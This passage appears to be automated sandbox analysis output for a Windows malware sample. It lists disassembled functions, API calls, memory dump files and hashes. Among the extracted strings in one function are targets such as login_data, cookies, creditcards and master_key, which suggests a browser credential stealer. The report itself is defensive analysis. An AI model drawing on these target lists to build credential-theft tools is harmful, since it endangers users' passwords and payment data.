HeapFree.KERNEL32(00000000,?,02600458,026003AC,02600574), ref: 025860B5
HeapFree.KERNEL32(00000000,?,02600458,026003AC,02600574), ref: 025860D2
HeapFree.KERNEL32(00000000,?,02600458,026003AC,02600574), ref: 02586105
CloseHandle.KERNEL32(?), ref: 0258632F

Strings

nullfalsetrue\"\\\b\f\n\r\t0123456789abcdef[],{ ,, xrefs: 0258563C

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: FreeHeap$CloseHandle
String ID: nullfalsetrue\"\\\b\f\n\r\t0123456789abcdef[],{ ,
API String ID: 1910495013-2124985433
Opcode ID: b470aa659ba974f0105161b82f241e6a33901545b2bc54a9d6d5dd911d09fdde
Instruction ID: d17bb74b1c6ac70ad2d3298534e2a877458adc55fe1d6128dab77f2d246d51d9
Opcode Fuzzy Hash: b470aa659ba974f0105161b82f241e6a33901545b2bc54a9d6d5dd911d09fdde
Instruction Fuzzy Hash: E081C230608741DFDB25DF20C484BEABBE2BF99304F04492DD9895B3A1DB716895CF46

Uniqueness

Uniqueness Score: -1.00%

Function 0042D740 Relevance: 12.2, APIs: 8, Instructions: 161memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 0042D74B
VariantClear.OLEAUT32(?), ref: 0042D8B2
VariantClear.OLEAUT32(?), ref: 0042D8D9
SysFreeString.OLEAUT32(?), ref: 0042D93D
SysFreeString.OLEAUT32(?), ref: 0042D952
SysFreeString.OLEAUT32(?), ref: 0042D967
VariantChangeType.OLEAUT32(?,?,00000000,?), ref: 0042D9A2
VariantClear.OLEAUT32(?), ref: 0042D9B2

Memory Dump Source

Source File: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: StringVariant$ClearFree$AllocChangeType
String ID:
API String ID: 984216764-0
Opcode ID: f945ae4cef94d89ca0ab2fcfcb01154a0f7e82251910b561d33c7f77115089c5
Instruction ID: 88606afa4f30e9e75de13378e47aca7ec09a9b99aa19c6302e81d3cbef9f0d5a
Opcode Fuzzy Hash: f945ae4cef94d89ca0ab2fcfcb01154a0f7e82251910b561d33c7f77115089c5
Instruction Fuzzy Hash: 89517E71E00319EFDF20EFA4E884AEEBBB9BF04300F90452AF555A7151D7789A45CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0041ADAA Relevance: 12.1, APIs: 8, Instructions: 131COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32(76170A60,00000000,?,?,?,?,00415EF3,?,0043A478,00000060), ref: 0041ADC6
GetLastError.KERNEL32(?,?,?,?,00415EF3,?,0043A478,00000060), ref: 0041ADDA
GetEnvironmentStringsW.KERNEL32(76170A60,00000000,?,?,?,?,00415EF3,?,0043A478,00000060), ref: 0041ADFC
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000,76170A60,00000000,?,?,?,?,00415EF3), ref: 0041AE30
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,?,?,00415EF3,?,0043A478,00000060), ref: 0041AE52
FreeEnvironmentStringsW.KERNEL32(00000000,?,?,?,?,00415EF3,?,0043A478,00000060), ref: 0041AE6B
GetEnvironmentStrings.KERNEL32(76170A60,00000000,?,?,?,?,00415EF3,?,0043A478,00000060), ref: 0041AE81
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 0041AEBD

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: EnvironmentStrings$ByteCharFreeMultiWide$ErrorLast
String ID:
API String ID: 883850110-0
Opcode ID: 5d9af8b0ec94a11fde1199224c6a39cf95f31cea720f82314cb6ac7f0f98ace0
Instruction ID: 7296914fd50a4553077de3f83afbd56d29e7c3b49a51b8de6ea79e60193acd72
Opcode Fuzzy Hash: 5d9af8b0ec94a11fde1199224c6a39cf95f31cea720f82314cb6ac7f0f98ace0
Instruction Fuzzy Hash: 60315772646318AFDB306F759C848BBB6ACEB55358B55083FF441C3301D7698CE682AB

Uniqueness

Uniqueness Score: -1.00%

Function 00421C7B Relevance: 12.1, APIs: 8, Instructions: 65memorystringCOMMON

Download Yara Rule

APIs

GlobalLock.KERNEL32(?), ref: 00421C98
lstrcmpA.KERNEL32(?,?), ref: 00421CA4
OpenPrinterA.WINSPOOL.DRV(?,?,00000000), ref: 00421CB6
DocumentPropertiesA.WINSPOOL.DRV(00000000,?,?,00000000,00000000,00000000,?,?,00000000), ref: 00421CD6
GlobalAlloc.KERNEL32(00000042,00000000,00000000,?,?,00000000,00000000,00000000,?,?,00000000), ref: 00421CDE
GlobalLock.KERNEL32(00000000), ref: 00421CE8
DocumentPropertiesA.WINSPOOL.DRV(00000000,?,?,00000000,00000000,00000002), ref: 00421CF5
ClosePrinter.WINSPOOL.DRV(?,00000000,?,?,00000000,00000000,00000002), ref: 00421D0D

Part of subcall function 00428D39: GlobalFlags.KERNEL32(?), ref: 00428D43
Part of subcall function 00428D39: GlobalUnlock.KERNEL32(?,00000000,?,00421D07,?,00000000,?,?,00000000,00000000,00000002), ref: 00428D54
Part of subcall function 00428D39: GlobalFree.KERNEL32(?), ref: 00428D5F

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: Global$DocumentLockProperties$AllocCloseFlagsFreeOpenPrinterPrinter.Unlocklstrcmp
String ID:
API String ID: 168474834-0
Opcode ID: 7520906973776876a09beb12d5341ab987b3d81d92ef3fb3478fec3813e9e38f
Instruction ID: ec8fd795588025b9ef10f7e2b5649213c33d9538cf3f0e4b05607c2785a29bd5
Opcode Fuzzy Hash: 7520906973776876a09beb12d5341ab987b3d81d92ef3fb3478fec3813e9e38f
Instruction Fuzzy Hash: F3119176300114FEDB216F66EC45D6FBABCEB95744B90442EBA01D2221D639DD41EB38

Uniqueness

Uniqueness Score: -1.00%

Function 004109F8 Relevance: 10.8, APIs: 7, Instructions: 303memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0040F320: CoGetClassObject.OLE32(?,?,00000000,0043B5B0,?), ref: 0040F340

CreateILockBytesOnHGlobal.OLE32(00000000,00000001,?), ref: 00410B86
StgCreateDocfileOnILockBytes.OLE32(?,00001012,00000000,?), ref: 00410BA7
GlobalAlloc.KERNEL32(00000000,00000000), ref: 00410BFA
GlobalLock.KERNEL32(00000000), ref: 00410C08
GlobalUnlock.KERNEL32(?), ref: 00410C20
CreateILockBytesOnHGlobal.OLE32(?,00000001,?), ref: 00410C43
StgOpenStorageOnILockBytes.OLE32(?,00000000,00000012,00000000,00000000,?), ref: 00410C5F

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: GlobalLock$Bytes$Create$AllocClassDocfileObjectOpenStorageUnlock
String ID:
API String ID: 3681960158-0
Opcode ID: b2b2bea8cbad52ffde94552cb1eeef876acfceeb8123a82e964a875202a98a95
Instruction ID: afee7d1c3fb3890a556bcd0f298f766d1f0dc21064698dd4bbe6f21a1270b98b
Opcode Fuzzy Hash: b2b2bea8cbad52ffde94552cb1eeef876acfceeb8123a82e964a875202a98a95
Instruction Fuzzy Hash: 92C11C70A00209EFCB14DF55C988AAFBBB9FF89704B20455AF811DB250D7B5D981CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0257C2A1 Relevance: 10.8, APIs: 3, Strings: 4, Instructions: 295COMMON

Download Yara Rule

Strings

nametitlebodystruct RecvSfilemaster_keyprofileslocal_statelogin_datacookieshistorycreditcardslocalstate_cachelogins_master_keyextensionsFailed building the Runtime, xrefs: 0257C3A0
APPDATA, xrefs: 0257C521
path*fatal runtime error: I/O error: operation failed to complete synchronously, xrefs: 0257C3CD
a Display implementation returned an error unexpectedly, xrefs: 0257C303

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID:
String ID: APPDATA$a Display implementation returned an error unexpectedly$nametitlebodystruct RecvSfilemaster_keyprofileslocal_statelogin_datacookieshistorycreditcardslocalstate_cachelogins_master_keyextensionsFailed building the Runtime$path*fatal runtime error: I/O error: operation failed to complete synchronously
API String ID: 0-422089487
Opcode ID: 63c197539a810d0b83383016462f31c8edbb396b8ecde12b7cabf8b566e8d0ea
Instruction ID: e6209194fec4b157882ace4b4be3748fccbda0f896ec9bf6dc65841d6b214a04
Opcode Fuzzy Hash: 63c197539a810d0b83383016462f31c8edbb396b8ecde12b7cabf8b566e8d0ea
Instruction Fuzzy Hash: B5C16CB5A083419FD724CF28D480B5AFBE2BFC8314F04892EE99997351EB71D945CB86

Uniqueness

Uniqueness Score: -1.00%

Function 0257777B Relevance: 10.8, APIs: 6, Strings: 1, Instructions: 292memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32(00000000,?), ref: 02578000

Part of subcall function 025D04D0: TlsGetValue.KERNEL32(00000000), ref: 025D04E9
Part of subcall function 025D04D0: TlsGetValue.KERNEL32(00000000), ref: 025D0510
Part of subcall function 025D04D0: TlsSetValue.KERNEL32(00000000,00000000), ref: 025D055E
Part of subcall function 025D04D0: BCryptGenRandom.BCRYPT(00000000,?,00000010,00000002), ref: 025D0574

HeapFree.KERNEL32(00000000,?), ref: 02577B96
HeapFree.KERNEL32(00000000,?), ref: 02578019
HeapFree.KERNEL32(00000000,?), ref: 02579F7C
HeapFree.KERNEL32(00000000,?), ref: 02579FA0
HeapFree.KERNEL32(00000000,?), ref: 02579FBA

Strings

`async fn` resumed after completion, xrefs: 02577E2A, 02577E3E, 02577E52, 02577E66

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: FreeHeap$Value$CryptRandom
String ID: `async fn` resumed after completion
API String ID: 740635937-507674517
Opcode ID: 7d3862ba67f9844112b50aa66a2f0692e0d817a07a08f93a8811b0819240a8a8
Instruction ID: 7b01656576d9c215a9a08717cb0110e64239c70b00b86f811cba95ae87b3ca4c
Opcode Fuzzy Hash: 7d3862ba67f9844112b50aa66a2f0692e0d817a07a08f93a8811b0819240a8a8
Instruction Fuzzy Hash: 42E1D170A44782DFD729CF28D444B96FBE2BF89300F04862AD99D97391DB74A854CF86

Uniqueness

Uniqueness Score: -1.00%

Function 0041E74E Relevance: 10.7, APIs: 7, Instructions: 171COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(00000000,?,0043B308,00000038,0041B383,?,00000000,00000000,00417F33,00000000,00000000,0043A9D8,0000001C,00417C5C,00000001,00000020), ref: 0041E78F
GetCPInfo.KERNEL32(00000000,00000001), ref: 0041E7A2
MultiByteToWideChar.KERNEL32(00000000,00000001,00417F33,?,00000000,00000000), ref: 0041E7E7

Memory Dump Source

Source File: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: Info$ByteCharMultiWide
String ID:
API String ID: 1166650589-0
Opcode ID: d74cba8254ec2bfd0c144a8bf9bd115fbbb8afc32ca4826cef1f7a671004a385
Instruction ID: fc1a395a9e190c6ff5981a5420c4fd796a0b1c48162dbb2f99a844a39120510b
Opcode Fuzzy Hash: d74cba8254ec2bfd0c144a8bf9bd115fbbb8afc32ca4826cef1f7a671004a385
Instruction Fuzzy Hash: 5D516B75900218EBCF219F56CC449DFBBB8EF89764F24412AF825A6290D7399C81CB68

Uniqueness

Uniqueness Score: -1.00%

Function 025C7320 Relevance: 10.7, APIs: 7, Instructions: 169filememoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,00120114,000000EF,E8F289D9,?,00000000,00000000), ref: 025C747B
GetLastError.KERNEL32 ref: 025C7498
SetFileInformationByHandle.KERNEL32(00000000,00000006,00000000,00000008), ref: 025C74C3
GetLastError.KERNEL32 ref: 025C74E1
HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,025CA785,?), ref: 025C7501
GetLastError.KERNEL32 ref: 025C750C
CloseHandle.KERNEL32(00000000), ref: 025C7519

Memory Dump Source

Source File: 00000000.00000002.2684363893.0000000002560000.00000040.00001000.00020000.00000000.sdmp, Offset: 02560000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2560000_app.jbxd

Similarity

API ID: ErrorLast$FileHandle$CloseCreateFreeHeapInformation
String ID:
API String ID: 4103088332-0
Opcode ID: fbdfd72c518f04a0695e1ae7d12ed98450e4d1f1813a4ee3b79acb53f73e10d1
Instruction ID: 49815ff8d1e7f0bb199d3bb2458d509b8636c0c7fd42695f1b6078daf0f22988
Opcode Fuzzy Hash: fbdfd72c518f04a0695e1ae7d12ed98450e4d1f1813a4ee3b79acb53f73e10d1
Instruction Fuzzy Hash: 1F51C3709043409FEB248F64C48476AFFE9BF89714F24895DEC968B686E374C445CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0042D7DA Relevance: 10.7, APIs: 7, Instructions: 160COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 0042D8B2
VariantClear.OLEAUT32(?), ref: 0042D8D9
SysFreeString.OLEAUT32(?), ref: 0042D93D
SysFreeString.OLEAUT32(?), ref: 0042D952
SysFreeString.OLEAUT32(?), ref: 0042D967

Memory Dump Source

Source File: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: FreeString$ClearVariant
String ID:
API String ID: 3349467263-0
Opcode ID: c99945b730b1963bc2476f908b4b7e966ae24083794790fc4a804f60559a5f7f
Instruction ID: deba55917dce0b94424f7e82dae8a9b9b47db0b8bf94c504a8a5c0270682857a
Opcode Fuzzy Hash: c99945b730b1963bc2476f908b4b7e966ae24083794790fc4a804f60559a5f7f
Instruction Fuzzy Hash: 2C519072D00319EFDF21EFA4D884AEEBBB5BF04310F90452AF511A7150D774A945CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0042D6E6 Relevance: 10.7, APIs: 7, Instructions: 158COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 0042D8B2
VariantClear.OLEAUT32(?), ref: 0042D8D9
SysFreeString.OLEAUT32(?), ref: 0042D93D
SysFreeString.OLEAUT32(?), ref: 0042D952
SysFreeString.OLEAUT32(?), ref: 0042D967

Memory Dump Source

Source File: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: FreeString$ClearVariant
String ID:
API String ID: 3349467263-0
Opcode ID: 21f38ccec4fa0e8b30d552f577ba58be143ccf844956009ce64557762c5bc80d
Instruction ID: 03b0e499ed1856b55c8dcbea2a45d420b7c6c419c53f8268e212c6394d836cd7
Opcode Fuzzy Hash: 21f38ccec4fa0e8b30d552f577ba58be143ccf844956009ce64557762c5bc80d
Instruction Fuzzy Hash: 22516D71E00319EFDF20EFA4E884AEEBBB5BF08300F90452AF555A7251D7789945CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0042D803 Relevance: 10.7, APIs: 7, Instructions: 158COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 0042D8B2
VariantClear.OLEAUT32(?), ref: 0042D8D9
SysFreeString.OLEAUT32(?), ref: 0042D93D
SysFreeString.OLEAUT32(?), ref: 0042D952
SysFreeString.OLEAUT32(?), ref: 0042D967

Memory Dump Source

Source File: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: FreeString$ClearVariant
String ID:
API String ID: 3349467263-0
Opcode ID: 0f93b15981eb83b0008622cebca6e7edd8fc0778c5b73fd08b63520a5e626df8
Instruction ID: 6e50089abeb2bdf91b19714a5c651368d8dc676127325ce66d1f1f29e3b16f1f
Opcode Fuzzy Hash: 0f93b15981eb83b0008622cebca6e7edd8fc0778c5b73fd08b63520a5e626df8
Instruction Fuzzy Hash: 69517D71E00319EFDF24EFA4E884AEEBBB9BF04300F90452AF551A7250D7789945CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0042D72A Relevance: 10.7, APIs: 7, Instructions: 156COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 0042D8B2
VariantClear.OLEAUT32(?), ref: 0042D8D9
SysFreeString.OLEAUT32(?), ref: 0042D93D
SysFreeString.OLEAUT32(?), ref: 0042D952
SysFreeString.OLEAUT32(?), ref: 0042D967

Memory Dump Source

Source File: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: FreeString$ClearVariant
String ID:
API String ID: 3349467263-0
Opcode ID: 827ef1f6ee7b75c145e33e34f9742a54bc848cad72a190445feeb5b0033f898c
Instruction ID: f237654dfe9b0de4e7d9c7904e21352c824fde659a4a83de7e0f8eff9bac242a
Opcode Fuzzy Hash: 827ef1f6ee7b75c145e33e34f9742a54bc848cad72a190445feeb5b0033f898c
Instruction Fuzzy Hash: D3516F71E00319EFDF20EFA4D884ADEBBB9BF08300F90452AF555A7250D7749945CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0042D7CA Relevance: 10.7, APIs: 7, Instructions: 156COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 0042D8B2
VariantClear.OLEAUT32(?), ref: 0042D8D9
SysFreeString.OLEAUT32(?), ref: 0042D93D
SysFreeString.OLEAUT32(?), ref: 0042D952
SysFreeString.OLEAUT32(?), ref: 0042D967

Memory Dump Source

Source File: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000044D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682613339.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_app.jbxd

Similarity

API ID: FreeString$ClearVariant
String ID:
API String ID: 3349467263-0
Opcode ID: 4a061ed6ea16155ebb7b5c787c568175eb317ebc6f7b48173005574961f5fb9e
Instruction ID: 58d113b5c7ff70747419b4c64d9a6ceb5b586f213f15031ce77f902832e347a1
Opcode Fuzzy Hash: 4a061ed6ea16155ebb7b5c787c568175eb317ebc6f7b48173005574961f5fb9e
Instruction Fuzzy Hash: 11518F71E00319EFDF20EFA4E884AEEBBB9BF04300F90452AF555A7151D7789A45CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0042D704 Relevance: 10.7, APIs: 7, Instructions: 154COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 0042D8B2
VariantClear.OLEAUT32(?), ref: 0042D8D9
SysFreeString.OLEAUT32(?), ref: 0042D93D
SysFreeString.OLEAUT32(?), ref: 0042D952
SysFreeString.OLEAUT32(?), ref: 0042D967

Memory Dump Source

Source File: 00000000.00000002.2682415282.000000000042D000.00000080.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2682260278.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682301916.0000000000401000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682362933.000000000042C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682449786.000000000042F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682510659.0000000000442000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2682547309.0000000000444000.00000004.00000001.01000000.00000003.sdmpDownload File
